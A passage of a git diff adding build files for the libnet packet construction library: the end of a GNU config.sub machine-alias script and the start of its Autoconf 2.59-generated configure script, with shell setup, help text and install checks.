basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=alphaev5-cray + os=-unicos + ;; + t90) + basic_machine=t90-cray + os=-unicos + ;; + tic54x | c54x*) + basic_machine=tic54x-unknown + os=-coff + ;; + tic55x | c55x*) + basic_machine=tic55x-unknown + os=-coff + ;; + tic6x | c6x*) + basic_machine=tic6x-unknown + os=-coff + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + toad1) + basic_machine=pdp10-xkl + os=-tops20 + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + tpf) + basic_machine=s390x-ibm + os=-tpf + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + ymp) + basic_machine=ymp-cray + os=-unicos + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + romp) + basic_machine=romp-ibm + ;; + mmix) + basic_machine=mmix-knuth + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp10) + # there are many clones, so DEC is not a safe bet + basic_machine=pdp10-unknown + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) + basic_machine=sh-unknown + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparc | sparcv8 | sparcv9 | sparcv9b) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + *-unknown) + # Make sure to match an already-canonicalized machine name. + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ + | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ + | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -chorusos* | -chorusrdb* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -linux-uclibc* | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ + | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ + | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ + | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ + | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i*86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto-qnx*) + ;; + -nto*) + os=`echo $os | sed -e 's|nto|nto-qnx|'` + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux-dietlibc) + os=-linux-dietlibc + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -os400*) + os=-os400 + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -atheos*) + os=-atheos + ;; + -syllable*) + os=-syllable + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -nova*) + os=-rtmk-nova + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk*) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -tpf*) + os=-tpf + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + os=-mint + ;; + -aros*) + os=-aros + ;; + -kaos*) + os=-kaos + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + c4x-* | tic4x-*) + os=-coff + ;; + # This must come before the *-dec entry. + pdp10-*) + os=-tops20 + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + or32-*) + os=-coff + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-ibm) + os=-aix + ;; + *-knuth) + os=-mmixware + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f30[01]-fujitsu | f700-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -os400*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -tpf*) + vendor=ibm + ;; + -vxsim* | -vxworks* | -windiss*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + vendor=atari + ;; + -vos*) + vendor=stratus + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit 0 + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/libnet/configure b/libnet/configure new file mode 100755 index 0000000..b45bb71 --- /dev/null +++ b/libnet/configure @@ -0,0 +1,22388 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.59 for Packet construction library 1.1.3-RC-01. +# +# Copyright (C) 2003 Free Software Foundation, Inc. +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' +elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; then + set -o posix +fi +DUALCASE=1; export DUALCASE # for MKS sh + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# Work around bugs in pre-3.0 UWIN ksh. +$as_unset ENV MAIL MAILPATH +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1; then + as_expr=expr +else + as_expr=false +fi + +if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)$' \| \ + . : '\(.\)' 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } + /^X\/\(\/\/\)$/{ s//\1/; q; } + /^X\/\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + + +# PATH needs CR, and LINENO needs CR and PATH. +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x$as_lineno_3" = "x$as_lineno_2" || { + # Find who we are. Look in the path if we contain no path at all + # relative or not. + case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done + + ;; + esac + # We did not find ourselves, most probably we were run as `sh COMMAND' + # in which case we are not to be found in the path. + if test "x$as_myself" = x; then + as_myself=$0 + fi + if test ! -f "$as_myself"; then + { echo "$as_me: error: cannot find myself; rerun with an absolute path" >&2 + { (exit 1); exit 1; }; } + fi + case $CONFIG_SHELL in + '') + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + for as_base in sh bash ksh sh5; do + case $as_dir in + /*) + if ("$as_dir/$as_base" -c ' + as_lineno_1=$LINENO + as_lineno_2=$LINENO + as_lineno_3=`(expr $as_lineno_1 + 1) 2>/dev/null` + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x$as_lineno_3" = "x$as_lineno_2" ') 2>/dev/null; then + $as_unset BASH_ENV || test "${BASH_ENV+set}" != set || { BASH_ENV=; export BASH_ENV; } + $as_unset ENV || test "${ENV+set}" != set || { ENV=; export ENV; } + CONFIG_SHELL=$as_dir/$as_base + export CONFIG_SHELL + exec "$CONFIG_SHELL" "$0" ${1+"$@"} + fi;; + esac + done +done +;; + esac + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. 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This makes it impossible to quote backslashes using + # echo "$something" | sed 's/\\/\\\\/g' + # + # So, first we look for a working echo in the user's PATH. + + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for dir in $PATH /usr/ucb; do + IFS="$lt_save_ifs" + if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && + test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$dir/echo" + break + fi + done + IFS="$lt_save_ifs" + + if test "X$echo" = Xecho; then + # We didn't find a better echo, so look for alternatives. + if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # This shell has a builtin print -r that does the trick. + echo='print -r' + elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && + test "X$CONFIG_SHELL" != X/bin/ksh; then + # If we have ksh, try running configure again with it. + ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} + export ORIGINAL_CONFIG_SHELL + CONFIG_SHELL=/bin/ksh + export CONFIG_SHELL + exec $CONFIG_SHELL "$0" --no-reexec ${1+"$@"} + else + # Try using printf. + echo='printf %s\n' + if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # Cool, printf works + : + elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL + export CONFIG_SHELL + SHELL="$CONFIG_SHELL" + export SHELL + echo="$CONFIG_SHELL $0 --fallback-echo" + elif echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$CONFIG_SHELL $0 --fallback-echo" + else + # maybe with a smaller string... + prev=: + + for cmd in 'echo test' 'sed 2q "$0"' 'sed 10q "$0"' 'sed 20q "$0"' 'sed 50q "$0"'; do + if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null + then + break + fi + prev="$cmd" + done + + if test "$prev" != 'sed 50q "$0"'; then + echo_test_string=`eval $prev` + export echo_test_string + exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "$0" ${1+"$@"} + else + # Oops. We lost completely, so just stick with echo. + echo=echo + fi + fi + fi + fi +fi +fi + +# Copy echo and quote the copy suitably for passing to libtool from +# the Makefile, instead of quoting the original, which is used later. +ECHO=$echo +if test "X$ECHO" = "X$CONFIG_SHELL $0 --fallback-echo"; then + ECHO="$CONFIG_SHELL \\\$\$0 --fallback-echo" +fi + + + + +tagnames=${tagnames+${tagnames},}CXX + +tagnames=${tagnames+${tagnames},}F77 + +# Name of the host. +# hostname on some systems (SVR3.2, Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +exec 6>&1 + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_config_libobj_dir=. +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} + +# Maximum number of lines to put in a shell here document. +# This variable seems obsolete. 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See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +_ACEOF + + cat <<_ACEOF +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --datadir=DIR read-only architecture-independent data [PREFIX/share] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --infodir=DIR info documentation [PREFIX/info] + --mandir=DIR man documentation [PREFIX/man] +_ACEOF + + cat <<\_ACEOF + +Program names: + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM run sed PROGRAM on installed program names + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] + --target=TARGET configure for building compilers for TARGET [HOST] +_ACEOF +fi + +if test -n "$ac_init_help"; then + case $ac_init_help in + short | recursive ) echo "Configuration of Packet construction library 1.1.3-RC-01:";; + esac + cat <<\_ACEOF + +Optional Features: + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-maintainer-mode enable make rules and dependencies not useful + (and sometimes confusing) to the casual installer + --disable-dependency-tracking speeds up one-time build + --enable-dependency-tracking do not reject slow dependency extractors + --enable-shared[=PKGS] + build shared libraries [default=yes] + --enable-static[=PKGS] + build static libraries [default=yes] + --enable-fast-install[=PKGS] + optimize for fast installation [default=yes] + --disable-libtool-lock avoid locking (might break parallel builds) + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --with-gnu-ld assume the C compiler uses GNU ld [default=no] + --with-pic try to use only PIC/non-PIC objects [default=use + both] + --with-tags[=TAGS] + include additional configurations [automatic] + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L<lib dir> if you have libraries in a + nonstandard directory <lib dir> + CPPFLAGS C/C++ preprocessor flags, e.g. -I<include dir> if you have + headers in a nonstandard directory <include dir> + CPP C preprocessor + CXX C++ compiler command + CXXFLAGS C++ compiler flags + CXXCPP C++ preprocessor + F77 Fortran 77 compiler command + FFLAGS Fortran 77 compiler flags + +Use these variables to override the choices made by `configure' or to help +it to find libraries and programs with nonstandard names/locations. + +_ACEOF +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + ac_popdir=`pwd` + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d $ac_dir || continue + ac_builddir=. + +if test "$ac_dir" != .; then + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A "../" for each directory in $ac_dir_suffix. + ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` +else + ac_dir_suffix= ac_top_builddir= +fi + +case $srcdir in + .) # No --srcdir option. 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exit 1; }; } + +fi +echo "$as_me:$LINENO: result: $ac_cv_target" >&5 +echo "${ECHO_T}$ac_cv_target" >&6 +target=$ac_cv_target +target_cpu=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\1/'` +target_vendor=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\2/'` +target_os=`echo $ac_cv_target | sed 's/^\([^-]*\)-\([^-]*\)-\(.*\)$/\3/'` + + +# The aliases save the names the user supplied, while $host etc. +# will get canonicalized. +test -n "$target_alias" && + test "$program_prefix$program_suffix$program_transform_name" = \ + NONENONEs,x,x, && + program_prefix=${target_alias}- + +am__api_version="1.9" +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6 +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + done + done + ;; +esac +done + + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. We don't cache a + # path for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the path is relative. + INSTALL=$ac_install_sh + fi +fi +echo "$as_me:$LINENO: result: $INSTALL" >&5 +echo "${ECHO_T}$INSTALL" >&6 + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +echo "$as_me:$LINENO: checking whether build environment is sane" >&5 +echo $ECHO_N "checking whether build environment is sane... $ECHO_C" >&6 +# Just in case +sleep 1 +echo timestamp > conftest.file +# Do `set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null` + if test "$*" = "X"; then + # -L didn't work. + set X `ls -t $srcdir/configure conftest.file` + fi + rm -f conftest.file + if test "$*" != "X $srcdir/configure conftest.file" \ + && test "$*" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + { { echo "$as_me:$LINENO: error: ls -t appears to fail. Make sure there is not a broken +alias in your environment" >&5 +echo "$as_me: error: ls -t appears to fail. Make sure there is not a broken +alias in your environment" >&2;} + { (exit 1); exit 1; }; } + fi + + test "$2" = conftest.file + ) +then + # Ok. + : +else + { { echo "$as_me:$LINENO: error: newly created file is older than distributed files! +Check your system clock" >&5 +echo "$as_me: error: newly created file is older than distributed files! +Check your system clock" >&2;} + { (exit 1); exit 1; }; } +fi +echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6 +test "$program_prefix" != NONE && + program_transform_name="s,^,$program_prefix,;$program_transform_name" +# Use a double $ so make ignores it. +test "$program_suffix" != NONE && + program_transform_name="s,\$,$program_suffix,;$program_transform_name" +# Double any \ or $. echo might interpret backslashes. +# By default was `s,x,x', remove it if useless. +cat <<\_ACEOF >conftest.sed +s/[\\$]/&&/g;s/;s,x,x,$// +_ACEOF +program_transform_name=`echo $program_transform_name | sed -f conftest.sed` +rm conftest.sed + +# expand $ac_aux_dir to an absolute path +am_aux_dir=`cd $ac_aux_dir && pwd` + +test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing" +# Use eval to expand $SHELL +if eval "$MISSING --run true"; then + am_missing_run="$MISSING --run " +else + am_missing_run= + { echo "$as_me:$LINENO: WARNING: \`missing' script is too old or missing" >&5 +echo "$as_me: WARNING: \`missing' script is too old or missing" >&2;} +fi + +if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then + # We used to keeping the `.' as first argument, in order to + # allow $(mkdir_p) to be used without argument. As in + # $(mkdir_p) $(somedir) + # where 